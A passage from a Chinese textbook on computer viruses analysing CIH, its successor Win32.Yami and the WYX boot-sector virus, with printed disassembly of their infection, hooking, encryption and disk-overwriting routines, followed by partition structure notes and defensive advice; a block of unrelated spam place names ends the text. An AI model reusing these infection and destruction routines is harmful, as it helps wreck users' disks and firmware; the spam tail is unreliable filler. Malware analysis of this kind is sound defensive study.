CIH成功改寫中斷3的描述符之后,讓該中斷處理代碼指向病毒的Ring 0代碼。當然,還需要指定這個中斷的可被調用級。(因為系統中斷3是允許Ring 3代碼觸發的,所以這里沒有改,如果病毒要利用其他中斷的話,就需要做這一步。因為到目前為止,我們的代碼還只是運行在Ring 3級,因此有很多有關特權方面的限制)接下來病毒觸發中斷。執行Ring 0代碼進行初始化。

      INT   3
      Ring 0初始化代碼:
      JZ       SHORT病毒初始化2
      MOV      ECX, DR0
      JECXZ    SHORT病毒初始化1
      中斷恢復:
      MOV      [EBX-4], BP          恢復原來的中斷3描述符
      SHR      EBP, 10H
      MOV      [EBX+2], BP
      IRET
      病毒初始化2:
      LEA      EAX, [EDI-30AH]
      PUSH     EAX             計算病毒的文件操作鉤子函數的地址
      VXDCALL IFSMGR_INSTALLFILESYSTEMAPIHOOK
      ...
      ...
      JMP      中斷恢復
      病毒初始化1:
      MOV      DR0, EBX            設病毒內存駐留標記
      PUSH     0FH
      PUSH     ECX
      PUSH     0FFFFFFFFH
      PUSH     ECX
      PUSH     ECX
      PUSH     ECX
      PUSH     1
      PUSH     2
      VMMCALL _PAGEALLOCATE        病毒分配2頁的系統內存
      ADD      ESP, 20H
      XCHG     EAX, EDI
      LEA      EAX, [ESI-6FH]
      IRET

病毒兩次調用INT3以兩步完成整個病毒的Ring 0初始化。第一次調用時,病毒分配一塊系統內存區,以便可以把病毒代碼復制到該區以達到駐留系統的目的。第二次調用時,病毒利用VXD調用,把自己的傳染部分掛接到操作系統的文件操作部分。所以當系統每次操作文件時,病毒的傳染代碼都會被執行,病毒則趁機進行文件感染。

病毒傳染部分:(病毒掛接的文件系統HOOK函數)

                      PUSHA
                      CALL   $+5
                      POP    ESI
                      ADD    ESI, 248H
                      TEST   BYTE PTR [ESI], 1       ;病毒為了防止自己的代碼重入設置的忙標記
                      JNZ    NEAR PTR 4005A0H
                      LEA    EBX, [ESP+28H]
                      CMP    DWORD PTR [EBX], 24H    ;表示系統對文件的操作是打開的
                      JNZ    NEAR PTR 40059AH
                      INC    BYTE PTR [ESI]
                      ADD    ESI, 5
                      PUSH   ESI
                      MOV    AL, [EBX+4]
                      CMP    AL, 0FFH
                      JZ     SHORT LOC_0_4003BA
                      ADD    AL, 40H
                      MOV    AH, 3AH
                      MOV    [ESI], EAX
                      INC    ESI
                      INC    ESI
        LOC_0_4003BA:
                      PUSH   0
                      PUSH   7FH
                      MOV    EBX, [EBX+10H]
                      MOV    EAX, [EBX+0CH]
                      ADD    EAX, 4
                      PUSH   EAX
                      PUSH   ESI
                      VXDCALL UNITOBCSPATH
                      ADD    ESP, 10H
                      CMP    DWORD PTR [ESI+EAX-4], 'EXE.'    ;感染擴展名為EXE的文件
                      POP    ESI
                      JNZ    NEAR PTR NOTEXEFILE              ;病毒不對非EXE文件進行感染
                      CMP    Word PTR [EBX+18H], 1
                      JNZ    NEAR PTR 400597H
                      MOV    AX, 4300H
                      VXDCALL IFSMGR_RING0_FILEIO             ;病毒嘗試打開該文件
                      ...
                      病毒將嘗試感染該文件

2.病毒感染流程簡介

首先,判斷該EXE文件是否被加過感染標記“U”,如果標記存在,病毒認為該文件已經被病毒感染過,從而不進行重復感染。病毒還會避開Zip自解壓文件,以免被Zip解壓代碼校驗保護發現。

病毒的感染手法比較少見,它把自己分塊插入PE文件中的“縫隙”中。當病毒運行時由初始化模塊負責加載組裝。這樣做可以避免因被感染文件大小變大而被發現。病毒也會修改PE文件中插有病毒代碼的節的屬性,以便病毒在運行時不會產生頁異常(主要是因為代碼節不可寫,而病毒有進行自身代碼的改寫的操作)。

3.病毒的破壞

病毒直接利用0x70和0x71端口讀出RTC的日期并以此作為其發作日期的判別依據。當日期符合病毒要求時,病毒就會用垃圾數據覆蓋Bios-EPROM,并直接利用VXD調用向磁盤驅動發送寫命令,從頭至尾進行磁盤扇區的覆蓋操作,直到系統癱瘓。

4.病毒的簡要流程圖

Win95.CIH病毒的簡要流程圖如圖4-10所示。

圖4-10 Win95.CIH病毒的簡要流程圖

4.3.6 新CIH病毒(WIN32.Yami)剖析

與傳統的CIH病毒不同,“新CIH”病毒可以在Windows2000/XP系統下運行(老CIH只能在Win 9x系統下運行),因此破壞范圍比老CIH大得多。2003年5月17日,瑞星全球反病毒監測網率先截獲該惡性病毒,由于該病毒的破壞能力和當年臭名昭著的CIH病毒幾乎完全一樣,因此瑞星將該病毒命名“新CIH”病毒。

“新CIH”病毒會駐留在系統內核,它首先判斷打開的文件是否為Windows可執行文件(PE)文件,如果不是則不進行感染操作,是則將病毒插入到PE文件各節的空隙中(與傳統的CIH一樣),所以,感染后文件長度不會增加。由于病毒自身的原因,感染時有些文件會被損壞,導致不能正常運行。它發作時將企圖用“YM Kill You”字符串信息覆蓋系統硬盤,并且使數據恢復相當困難。它同時通過向主板BIOS中寫入垃圾數據來對硬件系統進行永久性破壞。

新CIH病毒行為分析:

1.病毒搜索Kernel32的起始偏移地址

2.取得病毒所用的Api地址

3.進入Ring0

4.通過直接IO的方式寫Bios和硬盤

值得慶幸的是,這個新“CIH”發作條件較為特殊,不會定期發作,而且只會通過感染文件來傳播,因此不太可能在短期內造成巨大的破壞。各反病毒軟件公司以最快的速度研發出查殺此病毒的專殺工具,因此此病毒的大面積破壞在很大程度上被控制住了。

4.4 攻擊磁盤扇區的引導型病毒

4.4.1 引導型病毒背景介紹

為了更好地理解引導型病毒的發作過程和原理,我們先來了解一下磁盤的基本結構。

1.磁盤結構初步

當硬盤的容量還非常小的時候,人們采用與軟盤類似的結構生產硬盤。也就是說,硬盤盤片的每一條磁道都具有相同的扇區數。因此人們將硬盤參數稱為CHS,即磁頭數(Heads),柱面數(Cylinders),扇區數(Sectors),以及相應的尋址方式。其中:

磁頭數表示硬盤總共有幾個磁頭,也就是有幾面盤片,最大為255(用8個二進制位存儲);

柱面數表示硬盤每一面盤片上有幾條磁道,最大為1023(用10個二進制位存儲);

扇區數表示每一條磁道上有幾個扇區,最大為63(用6個二進制位存儲);

每個扇區一般是512個字節,理論上講這不是必須的,但習慣上都取此值。

所以,磁盤最大容量為:

255×1023×63×512/1048576=8024 MB(1MB=1048576 B)

或硬盤廠商常用的單位:

255×1023×63×512/1000000=8414 MB(1MB=1000000 B)

在老式硬盤中,由于每個磁道的扇區數相等,所以外道的記錄密度要遠低于內道,因此會浪費很多磁盤空間(與軟盤一樣)。為了解決這一問題,進一步提高硬盤容量,人們改用等密度結構生產硬盤。也就是說,外圈磁道的扇區比內圈磁道多。采用這種結構后,硬盤不再具有實際的3D參數了,尋址方式也改為線性尋址,即以扇區為單位進行尋址。為了與使用3D尋址的老軟件兼容,人們在硬盤控制器內部安裝了一個地址翻譯器,由它負責將老式3D參數翻譯成新的線性參數。這也是為什么現在硬盤的3D參數可以有多種選擇的原因(不同的工作模式對應不同的3D參數,如LBA,LARGE,NORMAL)。

2.磁盤分區簡介

(1)Boot Sector簡介

Boot Sector也就是硬盤的第一個扇區,它由MBR(Master Boot Record)、DPT(Disk Partition Table)和Boot Record ID三部分組成。

MBR又稱為主引導記錄,占用Boot Sector的前446個字節(0到0x1BD),存放系統主引導程序(它負責從活動分區中裝載并運行系統引導程序)。

DPT即主分區表,占用64個字節(0x1BE到0x1FD),記錄了磁盤的基本分區信息,主分區表分為4個分區項,每項16字節,分別記錄了每個主分區的信息(因此最多可以有4個主分區)。

Boot Record ID是引導區標記,占用兩個字節(0x1FE和0x1FF),對于合法引導區,它等于0xAA55,這是判別引導區是否合法的標志。

Boot Sector的具體結構如圖4-11所示。

圖4-11 Boot Sector的結構圖

(2)分區表結構

分區表由4個分區項構成,每一項長度為16個字節,分區表結構如圖4-12所示。

(3)擴展分區簡介

由于主分區表中只能分4個分區,因此無法滿足需求,所以人們設計了一種擴展分區格式?;旧险f,擴展分區的信息是以鏈表形式存放的,但也有一些特別之處。

首先,主分區表中要有一個基本擴展分區項,所有擴展分區都隸屬于它。也就是說,其他所有擴展分區的空間都必須包括在這個基本擴展分區中。對于DOS/Windows來說,擴展分區的類型為0x05(EXTENDX)。除基本擴展分區以外的其他所有擴展分區則以鏈表的形式級聯存放,后一個擴展分區的數據項記錄在前一個擴展分區的分區表中,但兩個擴展分區的空間并不重疊。擴展分區類似于一個完整的硬盤,必須進一步分區才能使用。但每個擴展分區中只能存在一個其他分區,該分區在DOS/Windows環境中即為邏輯盤。因此,每一個擴展分區的分區表(同樣存儲在擴展分區的第一個扇區中)中最多只能有兩個分區數據項(包括下一個擴展分區的數據項)。

圖4-12 分區表結構圖

擴展分區的分區表存放在該分區的第一個扇區中,它的結構與硬盤的Boot Sector基本相同,只是沒有主引導記錄,即該扇區的0-0X1BD的數據是無效的。另外,它的分區表只有前面兩項是有效的。它的最后兩個字節也是合法性檢測標志,即55AA。

圖4-13是擴展分區的結構示意圖。

圖4-13 擴展分區的結構圖

(4)硬盤分區類型

0 未使用分區項;

1 DOS12——一種fat表為12位的分區,主要用于早期的小硬盤和部分軟盤;

2 xenix——一種Linux分區;

4 DOS16——早期硬盤分區方法,分區表項為16位,最大支持32MB的分區大?。?/p>

5 EXTEND——擴展分區的一種,該分區的起始扇區為前面的第一個EXTENDX分區起始扇區+該分區的相對偏移;

6 BIGDOS,即FAT16分區,分區表為16位,每簇最大為32KB,最大分區為2GB;

7 NTFS分區;

B FAT32分區,分區表為32位;

C FAT32X分區,與FAT32基本相同;

E BIGDOSX,即FAT16分區,擴展分區表為16位,每簇最大可以超過32KB;

F EXTENDX——擴展分區的一種,起始扇區為該分區的相對偏移或者前面的第一個EXTENDX分區起始扇區+該分區的相對偏移。

3.引導型病毒簡介

簡單來講,引導型病毒就是改寫磁盤上的引導扇區(Boot Sector)信息的病毒。引導型病毒主要感染軟盤和硬盤的引導扇區或主引導扇區,在系統啟動時,先執行引導扇區上的引導程序,將病毒加載到系統內存上,然后通過監控操作系統磁盤讀寫中斷向量的方式感染其他軟盤和硬盤。引導區型病毒通常用匯編語言編寫,因此病毒程序很短,執行速度很快。

比較典型的引導區病毒是PolyBoot(也叫WYX.B)。WYX病毒把最初的引導區儲存在不同位置,這取決于它是DBR、MBR還是軟盤的引導區。病毒一旦發作,將破壞硬盤的主引導區,使所有的硬盤分區及數據丟失。WYX病毒的感染對象可以是任何系統平臺,包括Windows、UNIX、Linux、Macintosh等。我們會在后面對WYX病毒進行詳細的分析。

4.4.2 引導型病毒的主要特點和分類

(1)引導型病毒是在安裝操作系統之前進入內存的,寄生對象又相對固定,因此該類型病毒基本上不得不采用減少操作系統所掌管的內存容量的方法來駐留內存高端。而正常的系統引導過程一般是不減少系統內存的。

(2)引導型病毒需要把病毒傳染給軟盤,一般是通過修改INT 13H的中斷向量,而新INT 13H中斷向量段址必定指向內存高端的病毒程序。

(3)引導型病毒感染硬盤時,必定駐留在硬盤的主引導扇區或引導扇區中,并且只駐留一次。因此,引導型病毒一般都是在軟盤啟動過程中把病毒傳染給硬盤的。而正常的引導過程一般是不對硬盤主引導區或引導區進行寫盤操作的。

(4)引導型病毒的寄生對象相對固定,所以可以把當前的系統主引導扇區和引導扇區與干凈的主引導扇區和引導扇區進行比較,如果內容不一致,可認定系統引導區異常。

引導型病毒按其寄生對象的不同又可分為兩類,即“MBR”(主引導區)病毒和“BR”(引導區)病毒?!癕BR”病毒也稱為分區病毒,將病毒寄生在硬盤分區主引導程序所占據的硬盤0頭0柱面的第1個扇區中。典型的病毒有“大麻”(Stoned)、“2708”、“INT60”病毒等?!癇R”病毒是將病毒寄生在硬盤邏輯0扇或軟盤邏輯0扇(即0面0道的第1個扇區)。典型的病毒有“Brain”、“小球”病毒等。

4.4.3 引導型病毒的發作現象及處理

通常,我們可以利用DOS操作系統所帶的DEBUG程序對引導型病毒所感染的硬盤主引導扇區、硬盤BOOT扇區、硬盤FAT表、文件目錄進行備份保存,當病毒感染發作時,重新回寫硬盤主引導扇區、硬盤BOOT扇區、硬盤FAT表、根目錄,這樣可以覆蓋掉已有的病毒,并且能夠恢復硬盤數據。

作為比較典型的引導型病毒,WYX的基本傳染條件、感染過程、破壞結果均符合引導型病毒的基本特征,詳細情況如圖4-14所示。

圖4-14 WYX病毒的基本特征

1.感染過程

修改硬盤的啟動扇區(Boot Sector —— 0扇區)中的主引導記錄(MBR)及引導記錄(63扇區),并將原來0扇區的內容和63扇區的內容挪移到60和61兩個扇區進行備份。其中,在60扇區中存放引導記錄的信息,在61扇區中存放0扇區的信息。然后在62扇區進行病毒標記。由于其中有WYX的明顯標記,所以此病毒因此得名。

2.發作過程

通常情況下引發病毒的情況是使用軟盤引導計算機啟動,因此病毒破壞時會將軟盤的引導扇區的內容寫入硬盤的Boot Sector(0扇區),這會直接導致硬盤的分區表和引導記錄的損壞,從而使硬盤的全部分區和數據丟失。發作后的情況如圖4-15所示。

圖4-15 病毒感染發作示意圖

3.恢復過程

恢復過程如圖4-16所示。

圖4-16 手動恢復示意圖

4.一些特殊情況

通常情況下,針對引導型的病毒進行殺毒后計算機即可正常地引導和使用了,但有時會出現諸如無法正常啟動或病毒無法清除的情況,現列舉如下(針對Windows 98系統):

(1)殺毒后計算機的系統依舊無法正常啟動。

這種情況往往是由于引導記錄存在問題導致??墒褂肳indows 98的啟動盤啟動計算機,通過使用如下命令恢復系統的啟動:

      a:>sys a: c:

(2)殺毒時告知病毒已清除,但重新啟動后進行查毒處理依舊發現有病毒。

這種情況又分兩種情形:

● 用來啟動計算機的殺毒軟件本身存在病毒。

處理方法:首先將殺毒軟盤中的病毒進行處理后再殺毒。

● 硬盤可能遭到多種引導型病毒的混合攻擊,導致殺毒時按照某一引導型病毒處理后出現異常。

處理方法:若反復查殺的病毒存在的位置為“主引導”,則可使用Win 98的啟動盤啟動計算機,通過使用如下命令安全恢復硬盤的引導記錄(MBR)。若同時還伴有“引導”位置也存在病毒反復無法清除的情況,則可配合sys a: c: 共同使用。

        a:>fdisk /mbr

(3)某些品牌計算機的引導記錄總是存在引導型的病毒無法清除的情況。

這個問題是因某些品牌計算機的原始分區信息中存在非DOS分區導致。引導型病毒修改后并未修改正常的引導記錄,而是修改了非DOS分區的記錄(63扇區),從而導致病毒無法清除。

處理方法:可以通過直接磁盤編輯的方法將非DOS分區的應為引導記錄的扇區中的數據清空,但這種方法有可能會導致非DOS分區中的部分信息丟失。在使用這種方法之前應先向你的整機供應商咨詢相關信息。

4.4.4 典型的引導型病毒——WYX病毒解析

WYX是一個引導區病毒,此病毒感染主引導區、硬盤引導區以及軟盤引導區。該病毒感染這些引導區時會對引導區的數據進行備份(將原來引導區的數據寫入另外的扇區中),所以被WYX病毒感染的引導區是可以恢復的。但是它感染這三種引導區時對原來的引導區的備份方法均不相同,所以對各個引導區的恢復方法也不相同。

以下是WYX病毒的執行流程:

當系統以被WYX病毒感染的引導區進行引導時,引導扇區的數據被裝載到內存0000:7C00起始的地址,并開始執行引導扇區的指令。

病毒跳轉到病毒代碼的起始處,開始的這段代碼只是對偏移0x74開始的代碼進行解密。

      0000:7C5A                     push    cs
      0000:7C5B                     pop     ds
      0000:7C5C                     mov     ah, 33h
      0000:7C5E                     mov     al, [7C78]
      0000:7C61                     mov     bh, 45h
      0000:7C63                     mov     si, 7C74h
      0000:7C66                     mov     bl, 67h
      0000:7C68                     mov     cx, 10Bh
      0000:7C6B                     mov     dh, 89h
      0000:7C6D                     sub     [si], al
      0000:7C6F                     inc     si
      0000:7C70                     mov     dl, 0ABh
      0000:7C72                     loop    7C6D

解密完成后病毒先查看INT8(系統時鐘)的中斷向量是否被修改,如果沒有被修改,病毒則認為自身沒有被執行,然后病毒將INT8中斷向量的值保存到病毒入口偏移0x6的地方。如果INT8中斷向量被修改了,病毒則認為自己已經被執行了并跳轉到INT8的代碼段中去執行。

      0000:7C7A                 mov     ax, [0022]
      0000:7C7D                 cmp     ax, 0C000h
      0000:7C80                 jb      7CAF
      0000:7C82                 mov     [7C08], ax
      0000:7C85                 mov     ax, [0020]
      0000:7C88                 mov     [7C06], ax

為了使自己在內存中的代碼不被破壞,病毒修改了內存的大小,將自己的代碼復制到內存的高端,并將INT8中斷向量的值改為指向病毒入口偏移0x123的地址,使得調用INT8時病毒代碼得以執行。

      0000:7C92                 mov     ax, ds:413h;內存的大小
      0000:7C95                 mov     cx, 206h
      0000:7C98                 shl     ax, cl
      0000:7C9A                 mov     es, ax
      0000:7C9C                 xor     di, di
      0000:7C9E                 cld
      0000:7C9F                 repe    movsb
      0000:7CA1                 mov     [0020h], 123h;修改INT8的中斷向量
      0000:7CA7                 mov     [0022h], ax;修改INT8的中斷向量

在這些準備工作做好后,病毒跳轉到其復制在內存高端的代碼,執行其感染其他引導區的操作。

WYX病毒感染引導區時,它的另一部分代碼放在硬盤的另一個扇區中。對于不同的引導區,病毒的另一部分代碼所保存的扇區各不相同。病毒將這部分代碼復制到病毒入口偏移0x200開始的地址。

      FF80:00B5                     push    cs
      FF80:00B6                     pop     es
      FF80:00B7                     mov     bx, 200h
      FF80:00BA                     cmp     [7DC0h], 1
      FF80:00BF                     jz      F8F0
      FF80:00C1                     cmp     [7C15h], 0F8h
      FF80:00C6                     jz      F901

病毒感染的是軟盤的引導區,它會計算根目錄文件分配表(FAT)的大小。如果文件分配表的大小加1大于一個磁道的大小,則將磁頭號加1,扇區號為根目錄文件分配表的大小減去一個磁道扇區的個數,該扇區為病毒的另一部分代碼所在的扇區,病毒將這部分代碼復制到病毒入口偏移0x200開始的地址。如果文件分配表的大小加1小于一個磁道的大小,則根目錄文件分配表大小加1的扇區為病毒的另一部分代碼所在的扇區,病毒將這部分代碼復制到病毒入口偏移0x200開始的地址。

      FF80:00C8                 mov     cl, 4
      FF80:00CA                 mov     ax, [7C11h]
      FF80:00CD                 shr     ax, cl
      FF80:00CF                 mov     cx, [7C16h]
      FF80:00D3                 shl     cx, 1
      FF80:00D5                 add     ax, cx
      FF80:00D7                 inc     ax
      FF80:00D8                 mov     cx, [7C18h]
      FF80:00DC                 xor     dx, dx
      FF80:00DE                 cmp     ax, cx
      FF80:00E0                 jbe     F8E6
      FF80:00E2                 sub    ax, cx
      FF80:00E4                 inc     dh
      FF80:00E6                 mov     cx, ax
      FF80:00E8                 mov     ax, 201h
      FF80:00EB                 int     13h
      FF80:00ED                 dec     cx
      FF80:00EE                 jmp     F912

如果病毒在主引導區,則根據病毒入口偏移0x01C6h地址的數據讀取病毒的另一部分代碼:

      FF80:00F0                 mov     cl, [7DC6h]
      FF80:00F4                 mov     dx, 80h
      FF80:00F7                 mov     ch, 0
      FF80:00F9                 mov     ax, 201h
      FF80:00FC                 int     13h
      FF80:00FE                 dec     cx
      FF80:00FF                 jmp     F912

如果病毒在硬盤引導區,則根據病毒入口偏移0x0018h地址的數據讀取病毒的另一部分代碼:

      FF80:0101                 mov     cl, [7C18h]
      FF80:0105                 mov     dx, 80h
      FF80:0108                 mov     ch, 0
      FF80:010A                 mov     ax, 201h
      FF80:010D                 int     13h
      FF80:010F                 sub     cx, 2
      FF80:0112                 mov     al, 80h
      FF80:0114                 call    FA00

病毒在感染主引導區前,首先查看主引導區是否被感染。如果沒有被感染,則讀取引導區數據中偏移0x1C6的地址。這個地址的數據表示第一個分區起點之前已用了的扇區數,通常為0x3F。然后,將原來的主引導區數據寫入第一個分區起點之前已用了的扇區,即第0x3E扇區,并將自己的另一部分代碼寫到0x3F扇區。如果主引導已經被感染,則繼續執行以感染其他的引導區:

      FF80:020D                 mov     bx, 400h
      FF80:0210                 mov     dh, 0
      FF80:0212                 mov     cx, 1
      FF80:0215                 mov     ax, 201h
      FF80:0218                 cmp     dl, 80h
      FF80:021B                 jb      FA7D
      FF80:021D                 int     13h
      FF80:021F                 cmp     byte ptr [bx+5Ah], 0Eh;判斷主引導是否已感染
      FF80:0223                 jz      FA5C
      FF80:0225                 mov     cl, [bx+1C6h];第一個分區起點之前已用了的扇區
      FF80:0229                 dec     cx
      FF80:022A                 mov     ax, 301h
      FF80:022D                 int     13h
      FF80:022F                 inc     cx
      FF80:0230                 mov     bh, 2
      FF80:0232                 mov     ax, 301h
      FF80:0235                 int     13h

在感染第一個主分區引導區之前也需要判斷該引導區是否被感染。如果沒有被感染,則讀取引導區數據中偏移0x18h的地址,這個地址的數據表示這個分區起點之前已用了的扇區數,通常為0x3F。然后,將原來的引導區數據寫入這個分區起點之前已用了的扇區,即第0x3D扇區,并將自己的另一部分代碼寫到0x3F扇區:

      FF80:025C                 mov     dh, 1
      FF80:025E                 mov     ax, 201h
      FF80:0261                 int     13h
      FF80:0263                 cmp     byte ptr [bx+5Ah], 0Eh;判斷引導區是否已被感染
      FF80:0267                 jz      FABF
      FF80:0269                 mov     cl, [bx+18h];第一個分區起點之前已用了的扇區
      FF80:026C                 sub     cx, 2
      FF80:026F                 mov     dh, 0
      FF80:0271                 mov     ax, 301h
      FF80:0274                 int     13h

WYX對原來的引導區進行完備份之后,就開始將自己的病毒代碼寫入引導扇區。在寫入引導扇區之前,病毒還需要將其病毒代碼中的部分內容進行加密,在加密完成后才將病毒代碼寫入引導扇區:

      FF80:02C7                 mov     word ptr [bx], 58Ebh;設置引導區的第一條指令
      FF80:02CB                 mov     si, 5Ah;加密的起始地址
      FF80:02CE                 mov     di, 45Ah
      FF80:02D1                 mov     cx, 125h
      FF80:02D4                 cld
      FF80:02D5                 repe    movsb
      FF80:02D7                 push   ds
      FF80:02D8                 mov     ds, cx
      FF80:02DA                 mov     al, [046Ch]
      FF80:02DD                 pop     ds
      FF80:02DE                 or      al, 0Aah;計算密鑰
      FF80:02E0                 mov     si, 474h
      FF80:02E3                 mov     cx, 10Bh
      FF80:02E6                 add    [si], al;加密循環的起始
      FF80:02E8                 inc     si
      FF80:02E9                 loop    FAE6
      FF80:02EB                 mov     si, 45Dh
      FF80:02EE                 mov     cl, 5
      FF80:02F0                 inc     byte ptr [si]
      FF80:02F2                 add    si, 5
      FF80:02F5                 loop    FAF0
      FF80:02F7                 inc     cx
      FF80:02F8                 mov     ax, 301h
      FF80:02FB                 int     13h

病毒對用戶電腦上所有的引導區都感染完之后,將原來的引導區的數據復制到內存0000:7C00的地址,并跳轉到0000:7C00執行原來的引導區代碼。

4.4.5 防范引導區病毒的安全建議

為了防止感染引導區病毒,我們給出以下安全建議:

(1)盡量避免用軟盤保存和傳遞資料。在獲得由其他計算機傳遞的文件時,應先對軟盤中的文件進行查毒。

(2)軟盤用完后應立即從軟驅中取出。

(3)避免在軟驅中存有軟盤的情況下開機或重新啟動操作系統。

主站蜘蛛池模板: 泽普县| 湟源县| 赣榆县| 遂溪县| 保康县| 游戏| 大英县| 绥化市| 铁岭县| 庐江县| 崇信县| 常熟市| 宁陕县| 新田县| 金昌市| 韩城市| 隆尧县| 承德县| 静海县| 平泉县| 牟定县| 温宿县| 涿州市| 平谷区| 聊城市| 沛县| 永清县| 平利县| 镇平县| 静乐县| 吉木乃县| 南川市| 合江县| 鸡东县| 延川县| 民权县| 青海省| 安达市| 桐柏县| 剑河县| 香河县|